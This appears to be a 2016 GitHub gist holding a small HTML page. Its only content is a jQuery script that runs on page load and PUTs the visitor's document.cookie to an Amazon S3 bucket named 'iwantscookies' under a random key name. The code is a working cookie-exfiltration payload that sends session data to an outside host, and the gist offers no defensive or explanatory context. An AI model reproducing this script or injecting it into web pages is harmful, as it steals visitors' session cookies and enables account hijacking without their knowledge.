Skip to content

Instantly share code, notes, and snippets.

@dagrz
Created October 18, 2016 03:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dagrz/8b5fdf83495d09b744df89869a92b06f to your computer and use it in GitHub Desktop.
Save dagrz/8b5fdf83495d09b744df89869a92b06f to your computer and use it in GitHub Desktop.
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
</head>
<body>
<script>
$(document).ready(function(){
$.ajax({
type: 'PUT',
headers: {'x-amz-acl': 'bucket-owner-full-control'},
url: 'https://iwantscookies.s3.amazonaws.com/' + Math.random().toString(34).slice(2),
data: document.cookie,
success: function() {
}
});
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment